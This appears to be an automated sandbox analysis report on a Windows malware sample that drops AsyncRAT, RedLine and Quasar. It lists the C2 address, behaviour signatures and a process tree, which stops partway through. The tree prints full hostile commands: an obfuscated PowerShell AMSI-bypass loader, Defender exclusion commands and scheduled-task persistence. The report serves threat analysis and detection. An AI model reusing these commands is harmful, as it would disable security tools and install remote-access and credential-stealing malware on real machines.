Analysis

  • max time kernel
    151s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    01/11/2022, 10:41

General

  • Target

    BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe

  • Size

    584KB

  • MD5

    8553f9793539d4d17c13e464d606d7dc

  • SHA1

    a033d05b0c0a5b220fde15827b5c716fbec3b398

  • SHA256

    bdd2412c4cb1952748237e6cc32bb3d39a68cb4e1ed3e00db88e74532f1c4d2a

  • SHA512

    2d672c0a5dfaa1ebd9ee7dbdfec33c8c32bd3b827b03b206ad1bbcb414e2efa65fc8d284ba9c5037800f3c8d69a2a64a864562732951581244722a26401f3aec

  • SSDEEP

    6144:LHns2eIXWxewKi/i/iHBW0LM7Sx2R1i0t03ugcHg4TU48YMizi:LH4x4KKABW0g2x6/t2S/UfYM4

Malware Config

Extracted

Family

asyncrat

Version

Ratatouille 0.1.0

Botnet

Youtube

C2

179.43.187.19:33

179.43.187.19:2525

179.43.187.19:4523

179.43.187.19:5555

Mutex

sdhgamkfgae4-youtube

Attributes
  • delay

    3

  • install

    true

  • install_file

    $77-update.exe

  • install_folder

    %AppData%

aes.plain

Extracted

Family

redline

Botnet

cheat

C2

179.43.187.19:18875

Extracted

Family

quasar

Version

1.4.0

Botnet

r77Version

C2

179.43.187.19:2326

Mutex

d6db683c-9b85-4417-b1a3-4ff8bec1d98b

Attributes
  • encryption_key

    83FE26AAD844F101036726AFCD7F28CF377D20AF

  • install_name

    $77Client.exe

  • log_directory

    Logs

  • reconnect_delay

    3000

  • startup_key

    $77Client

  • subdirectory

    $77win

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers.

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar payload 4 IoCs
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 2 IoCs
  • Suspicious use of NtCreateProcessExOtherParentProcess 2 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
  • Async RAT payload 1 IoCs
  • Looks for VirtualBox Guest Additions in registry 2 TTPs 2 IoCs
  • Executes dropped EXE 8 IoCs
  • Looks for VMWare Tools registry key 2 TTPs 2 IoCs
  • Checks BIOS information in registry 2 TTPs 4 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Maps connected drives based on registry 3 TTPs 4 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Drops file in System32 directory 12 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 18 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\lsass.exe
    C:\Windows\system32\lsass.exe
    1⤵
      PID:676
    • C:\Windows\system32\winlogon.exe
      winlogon.exe
      1⤵
        PID:592
        • C:\Windows\system32\dwm.exe
          "dwm.exe"
          2⤵
            PID:332
          • C:\Windows\System32\dllhost.exe
            C:\Windows\System32\dllhost.exe /Processid:{a21aff78-d8a4-482d-ad94-3f80eabeb177}
            2⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:3356
          • C:\Windows\SysWOW64\dllhost.exe
            C:\Windows\SysWOW64\dllhost.exe /Processid:{584339b2-d48e-479b-aedf-d04e62003a81}
            2⤵
              PID:3616
            • C:\Windows\SysWOW64\dllhost.exe
              C:\Windows\SysWOW64\dllhost.exe /Processid:{584339b2-d48e-479b-aedf-d04e62003a81}
              2⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:1940
          • C:\Windows\system32\svchost.exe
            C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
            1⤵
              PID:524
            • C:\Windows\system32\svchost.exe
              C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
              1⤵
              • Drops file in System32 directory
              PID:1140
              • C:\Windows\system32\taskhostw.exe
                taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
                2⤵
                  PID:2448
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
                  C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:sWNMGeeqxCew{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$FLSGNEYIuzMFhJ,[Parameter(Position=1)][Type]$kiGHAznbqu)$DIOjjNYMmVl=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('ReflectedDelegate')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMe'+'mory'+'Module',$False).DefineType('MyDelegateType','Class,Public,Sealed,AnsiClass,AutoClass',[MulticastDelegate]);$DIOjjNYMmVl.DefineConstructor('RTSpecialName,HideBySig,Public',[Reflection.CallingConventions]::Standard,$FLSGNEYIuzMFhJ).SetImplementationFlags('Runtime,Managed');$DIOjjNYMmVl.DefineMethod('Invoke','Public,HideBySig,NewSlot,Virtual',$kiGHAznbqu,$FLSGNEYIuzMFhJ).SetImplementationFlags('Runtime,Managed');Write-Output $DIOjjNYMmVl.CreateType();}$xiKjxKMdFrVWi=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.'+'Uns'+'afeNat'+'iveMetho'+'ds');$xvEURQKfUvRsOZ=$xiKjxKMdFrVWi.GetMethod('Ge'+'tPr'+'ocAdd'+'ress',[Reflection.BindingFlags]'Public,Static',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$kRdHuFwzpJrbqTITYLq=sWNMGeeqxCew @([String])([IntPtr]);$RlZrSvAWKtMSzptyefdXge=sWNMGeeqxCew @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$lYBgMxVEizx=$xiKjxKMdFrVWi.GetMethod('Get'+'Modu'+'leHan'+'dle').Invoke($Null,@([Object]('kern'+'el'+'32.dll')));$iKmSCJLEDdvGrs=$xvEURQKfUvRsOZ.Invoke($Null,@([Object]$lYBgMxVEizx,[Object]('Load'+'LibraryA')));$FdiJtVUqegjunzHmZ=$xvEURQKfUvRsOZ.Invoke($Null,@([Object]$lYBgMxVEizx,[Object]('Vir'+'tual'+'Pro'+'tect')));$smSsLJd=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($iKmSCJLEDdvGrs,$kRdHuFwzpJrbqTITYLq).Invoke('a'+'m'+'si.dll');$hKEbHYWmtcumGqDHV=$xvEURQKfUvRsOZ.Invoke($Null,@([Object]$smSsLJd,[Object]('Ams'+'iSc'+'an'+'Buffer')));$qiYZlAeIto=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FdiJtVUqegjunzHmZ,$RlZrSvAWKtMSzptyefdXge).Invoke($hKEbHYWmtcumGqDHV,[uint32]8,4,[ref]$qiYZlAeIto);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$hKEbHYWmtcumGqDHV,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FdiJtVUqegjunzHmZ,$RlZrSvAWKtMSzptyefdXge).Invoke($hKEbHYWmtcumGqDHV,[uint32]8,0x20,[ref]$qiYZlAeIto);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('$77stager')).EntryPoint.Invoke($Null,$Null)"
                  2⤵
                  • Suspicious use of NtCreateUserProcessOtherParentProcess
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1500
                  • C:\Windows\System32\Conhost.exe
                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                    3⤵
                      PID:1824
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:iMzXCQwJjflk{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$UAhIvVXBoynSBP,[Parameter(Position=1)][Type]$TcodXjoMtZ)$vjNebDlRByj=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('ReflectedDelegate')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMe'+'mory'+'Module',$False).DefineType('MyDelegateType','Class,Public,Sealed,AnsiClass,AutoClass',[MulticastDelegate]);$vjNebDlRByj.DefineConstructor('RTSpecialName,HideBySig,Public',[Reflection.CallingConventions]::Standard,$UAhIvVXBoynSBP).SetImplementationFlags('Runtime,Managed');$vjNebDlRByj.DefineMethod('Invoke','Public,HideBySig,NewSlot,Virtual',$TcodXjoMtZ,$UAhIvVXBoynSBP).SetImplementationFlags('Runtime,Managed');Write-Output $vjNebDlRByj.CreateType();}$SOLEIKFQZXgwM=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.'+'Uns'+'afeNat'+'iveMetho'+'ds');$MElQLZKbqvseXf=$SOLEIKFQZXgwM.GetMethod('Ge'+'tPr'+'ocAdd'+'ress',[Reflection.BindingFlags]'Public,Static',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$bZRCETSSixQSxuhIYAS=iMzXCQwJjflk @([String])([IntPtr]);$vYhXwZNtzAbneOwUOxJaqO=iMzXCQwJjflk @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$STHpTQwLTtx=$SOLEIKFQZXgwM.GetMethod('Get'+'Modu'+'leHan'+'dle').Invoke($Null,@([Object]('kern'+'el'+'32.dll')));$EgplVwdjjlhhRv=$MElQLZKbqvseXf.Invoke($Null,@([Object]$STHpTQwLTtx,[Object]('Load'+'LibraryA')));$gaBnDzHwGeirGKgRz=$MElQLZKbqvseXf.Invoke($Null,@([Object]$STHpTQwLTtx,[Object]('Vir'+'tual'+'Pro'+'tect')));$xiMcSoR=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($EgplVwdjjlhhRv,$bZRCETSSixQSxuhIYAS).Invoke('a'+'m'+'si.dll');$qbbeLlIKyRmGLYkjg=$MElQLZKbqvseXf.Invoke($Null,@([Object]$xiMcSoR,[Object]('Ams'+'iSc'+'an'+'Buffer')));$gzGhcLYPUy=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($gaBnDzHwGeirGKgRz,$vYhXwZNtzAbneOwUOxJaqO).Invoke($qbbeLlIKyRmGLYkjg,[uint32]8,4,[ref]$gzGhcLYPUy);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$qbbeLlIKyRmGLYkjg,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($gaBnDzHwGeirGKgRz,$vYhXwZNtzAbneOwUOxJaqO).Invoke($qbbeLlIKyRmGLYkjg,[uint32]8,0x20,[ref]$gzGhcLYPUy);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('$77stager')).EntryPoint.Invoke($Null,$Null)"
                    2⤵
                    • Suspicious use of NtCreateUserProcessOtherParentProcess
                    • Drops file in System32 directory
                    • Suspicious use of SetThreadContext
                    • Modifies data under HKEY_USERS
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    • Suspicious use of WriteProcessMemory
                    PID:4292
                    • C:\Windows\System32\Conhost.exe
                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                      3⤵
                        PID:3752
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                    1⤵
                      PID:1188
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                      1⤵
                        PID:1044
                      • C:\Windows\System32\svchost.exe
                        C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                        1⤵
                        • Drops file in System32 directory
                        PID:1224
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                        1⤵
                          PID:1308
                        • C:\Windows\System32\svchost.exe
                          C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                          1⤵
                            PID:1028
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                            1⤵
                              PID:1324
                              • C:\Windows\system32\sihost.exe
                                sihost.exe
                                2⤵
                                  PID:2332
                              • C:\Windows\system32\svchost.exe
                                C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                                1⤵
                                  PID:1344
                                • C:\Windows\System32\svchost.exe
                                  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
                                  1⤵
                                    PID:700
                                  • C:\Windows\system32\svchost.exe
                                    C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
                                    1⤵
                                      PID:952
                                    • C:\Windows\system32\svchost.exe
                                      C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                                      1⤵
                                        PID:1436
                                      • C:\Windows\system32\svchost.exe
                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                        1⤵
                                          PID:1540
                                        • C:\Windows\system32\svchost.exe
                                          C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                                          1⤵
                                            PID:1556
                                          • C:\Windows\System32\svchost.exe
                                            C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                            1⤵
                                              PID:1628
                                            • C:\Windows\system32\svchost.exe
                                              C:\Windows\system32\svchost.exe -k LocalService -p -s FontCache
                                              1⤵
                                                PID:1644
                                              • C:\Windows\System32\svchost.exe
                                                C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
                                                1⤵
                                                  PID:1676
                                                • C:\Windows\System32\svchost.exe
                                                  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                  1⤵
                                                    PID:1796
                                                  • C:\Windows\system32\svchost.exe
                                                    C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
                                                    1⤵
                                                      PID:1904
                                                    • C:\Windows\System32\svchost.exe
                                                      C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                      1⤵
                                                        PID:1912
                                                      • C:\Windows\system32\svchost.exe
                                                        C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                        1⤵
                                                          PID:1972
                                                        • C:\Windows\System32\svchost.exe
                                                          C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                          1⤵
                                                            PID:1844
                                                          • C:\Windows\system32\svchost.exe
                                                            C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                            1⤵
                                                              PID:2504
                                                            • C:\Windows\system32\svchost.exe
                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                              1⤵
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:2740
                                                            • C:\Windows\system32\svchost.exe
                                                              C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                              1⤵
                                                                PID:3144
                                                              • C:\Windows\System32\RuntimeBroker.exe
                                                                C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                1⤵
                                                                  PID:3500
                                                                • C:\Windows\system32\DllHost.exe
                                                                  C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                  1⤵
                                                                    PID:4480
                                                                    • C:\Windows\system32\WerFault.exe
                                                                      C:\Windows\system32\WerFault.exe -u -p 4480 -s 356
                                                                      2⤵
                                                                      • Program crash
                                                                      • Checks processor information in registry
                                                                      • Enumerates system info in registry
                                                                      PID:2168
                                                                  • C:\Windows\System32\svchost.exe
                                                                    C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                    1⤵
                                                                      PID:1472
                                                                    • C:\Windows\system32\svchost.exe
                                                                      C:\Windows\system32\svchost.exe -k LocalService -s W32Time
                                                                      1⤵
                                                                        PID:4488
                                                                      • C:\Windows\system32\SppExtComObj.exe
                                                                        C:\Windows\system32\SppExtComObj.exe -Embedding
                                                                        1⤵
                                                                          PID:4656
                                                                        • C:\Windows\system32\wbem\wmiprvse.exe
                                                                          C:\Windows\system32\wbem\wmiprvse.exe
                                                                          1⤵
                                                                          • Checks SCSI registry key(s)
                                                                          • Checks processor information in registry
                                                                          PID:4144
                                                                        • C:\Windows\system32\svchost.exe
                                                                          C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                          1⤵
                                                                            PID:4252
                                                                          • C:\Windows\system32\svchost.exe
                                                                            C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                            1⤵
                                                                              PID:872
                                                                            • C:\Windows\System32\svchost.exe
                                                                              C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                              1⤵
                                                                                PID:1792
                                                                              • C:\Windows\System32\svchost.exe
                                                                                C:\Windows\System32\svchost.exe -k netsvcs -p
                                                                                1⤵
                                                                                  PID:4296
                                                                                • C:\Windows\system32\svchost.exe
                                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                  1⤵
                                                                                    PID:3864
                                                                                  • C:\Windows\System32\RuntimeBroker.exe
                                                                                    C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                    1⤵
                                                                                      PID:4988
                                                                                    • C:\Windows\System32\RuntimeBroker.exe
                                                                                      C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                      1⤵
                                                                                        PID:3836
                                                                                      • C:\Windows\system32\DllHost.exe
                                                                                        C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                        1⤵
                                                                                          PID:3340
                                                                                          • C:\Windows\system32\WerFault.exe
                                                                                            C:\Windows\system32\WerFault.exe -u -p 3340 -s 900
                                                                                            2⤵
                                                                                            • Program crash
                                                                                            • Checks processor information in registry
                                                                                            • Enumerates system info in registry
                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                            PID:3096
                                                                                        • C:\Windows\Explorer.EXE
                                                                                          C:\Windows\Explorer.EXE
                                                                                          1⤵
                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                          PID:3052
                                                                                          • C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe
                                                                                            "C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe"
                                                                                            2⤵
                                                                                            • Looks for VirtualBox Guest Additions in registry
                                                                                            • Looks for VMWare Tools registry key
                                                                                            • Checks BIOS information in registry
                                                                                            • Maps connected drives based on registry
                                                                                            • Suspicious use of SetThreadContext
                                                                                            • Suspicious use of WriteProcessMemory
                                                                                            PID:2328
                                                                                            • C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe
                                                                                              "{path}"
                                                                                              3⤵
                                                                                              • Checks computer location settings
                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                              • Suspicious use of WriteProcessMemory
                                                                                              PID:3084
                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "$77-update" /tr '"C:\Users\Admin\AppData\Roaming\$77-update.exe"' & exit
                                                                                                4⤵
                                                                                                • Suspicious use of WriteProcessMemory
                                                                                                PID:4312
                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                  schtasks /create /f /sc onlogon /rl highest /tn "$77-update" /tr '"C:\Users\Admin\AppData\Roaming\$77-update.exe"'
                                                                                                  5⤵
                                                                                                  • Creates scheduled task(s)
                                                                                                  PID:1116
                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp95A8.tmp.bat""
                                                                                                4⤵
                                                                                                • Suspicious use of WriteProcessMemory
                                                                                                PID:2780
                                                                                                • C:\Windows\SysWOW64\timeout.exe
                                                                                                  timeout 3
                                                                                                  5⤵
                                                                                                  • Delays execution with timeout.exe
                                                                                                  PID:3784
                                                                                                • C:\Users\Admin\AppData\Roaming\$77-update.exe
                                                                                                  "C:\Users\Admin\AppData\Roaming\$77-update.exe"
                                                                                                  5⤵
                                                                                                  • Looks for VirtualBox Guest Additions in registry
                                                                                                  • Executes dropped EXE
                                                                                                  • Looks for VMWare Tools registry key
                                                                                                  • Checks BIOS information in registry
                                                                                                  • Maps connected drives based on registry
                                                                                                  • Suspicious use of SetThreadContext
                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                  • Suspicious use of WriteProcessMemory
                                                                                                  PID:4320
                                                                                                  • C:\Users\Admin\AppData\Roaming\$77-update.exe
                                                                                                    "{path}"
                                                                                                    6⤵
                                                                                                    • Executes dropped EXE
                                                                                                    PID:5012
                                                                                                  • C:\Users\Admin\AppData\Roaming\$77-update.exe
                                                                                                    "{path}"
                                                                                                    6⤵
                                                                                                    • Executes dropped EXE
                                                                                                    • Checks computer location settings
                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    • Suspicious use of WriteProcessMemory
                                                                                                    PID:3808
                                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath @($env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force
                                                                                                      7⤵
                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                      PID:1984
                                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionExtension @('exe','dll') -Force
                                                                                                      7⤵
                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                      PID:3456
                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                      "C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\qzkzzp.exe"' & exit
                                                                                                      7⤵
                                                                                                      • Suspicious use of WriteProcessMemory
                                                                                                      PID:1668
                                                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                        powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\qzkzzp.exe"'
                                                                                                        8⤵
                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                        • Suspicious use of WriteProcessMemory
                                                                                                        PID:2080
                                                                                                        • C:\Users\Admin\AppData\Local\Temp\qzkzzp.exe
                                                                                                          "C:\Users\Admin\AppData\Local\Temp\qzkzzp.exe"
                                                                                                          9⤵
                                                                                                          • Executes dropped EXE
                                                                                                          PID:3180
                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                      "C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\lsnupy.exe"' & exit
                                                                                                      7⤵
                                                                                                        PID:3792
                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                          8⤵
                                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                                          PID:3464
                                                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                          powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\lsnupy.exe"'
                                                                                                          8⤵
                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                          PID:4080
                                                                                                          • C:\Users\Admin\AppData\Local\Temp\lsnupy.exe
                                                                                                            "C:\Users\Admin\AppData\Local\Temp\lsnupy.exe"
                                                                                                            9⤵
                                                                                                            • Executes dropped EXE
                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                            PID:3092
                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                              10⤵
                                                                                                                PID:2896
                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                          "C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\sjtjny.exe"' & exit
                                                                                                          7⤵
                                                                                                            PID:400
                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                              8⤵
                                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                                              PID:1096
                                                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                              powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\sjtjny.exe"'
                                                                                                              8⤵
                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                              PID:3628
                                                                                                              • C:\Users\Admin\AppData\Local\Temp\sjtjny.exe
                                                                                                                "C:\Users\Admin\AppData\Local\Temp\sjtjny.exe"
                                                                                                                9⤵
                                                                                                                • Executes dropped EXE
                                                                                                                • Drops startup file
                                                                                                                PID:4288
                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                            "C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\jiyrgq.exe"' & exit
                                                                                                            7⤵
                                                                                                              PID:1448
                                                                                                              • C:\Windows\System32\Conhost.exe
                                                                                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                8⤵
                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                PID:4844
                                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\jiyrgq.exe"'
                                                                                                                8⤵
                                                                                                                  PID:4052
                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\jiyrgq.exe
                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\jiyrgq.exe"
                                                                                                                    9⤵
                                                                                                                    • Executes dropped EXE
                                                                                                                    • Drops file in System32 directory
                                                                                                                    PID:4484
                                                                                                                    • C:\Windows\SYSTEM32\schtasks.exe
                                                                                                                      "schtasks" /create /tn "$77Client" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\jiyrgq.exe" /rl HIGHEST /f
                                                                                                                      10⤵
                                                                                                                      • Creates scheduled task(s)
                                                                                                                      PID:832
                                                                                                                      • C:\Windows\System32\Conhost.exe
                                                                                                                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                        11⤵
                                                                                                                          PID:4700
                                                                                                                      • C:\Windows\system32\$77win\$77Client.exe
                                                                                                                        "C:\Windows\system32\$77win\$77Client.exe"
                                                                                                                        10⤵
                                                                                                                        • Executes dropped EXE
                                                                                                                        • Drops file in System32 directory
                                                                                                                        PID:4880
                                                                                                                        • C:\Windows\SYSTEM32\schtasks.exe
                                                                                                                          "schtasks" /create /tn "$77Client" /sc ONLOGON /tr "C:\Windows\system32\$77win\$77Client.exe" /rl HIGHEST /f
                                                                                                                          11⤵
                                                                                                                          • Creates scheduled task(s)
                                                                                                                          PID:2164
                                                                                                                          • C:\Windows\System32\Conhost.exe
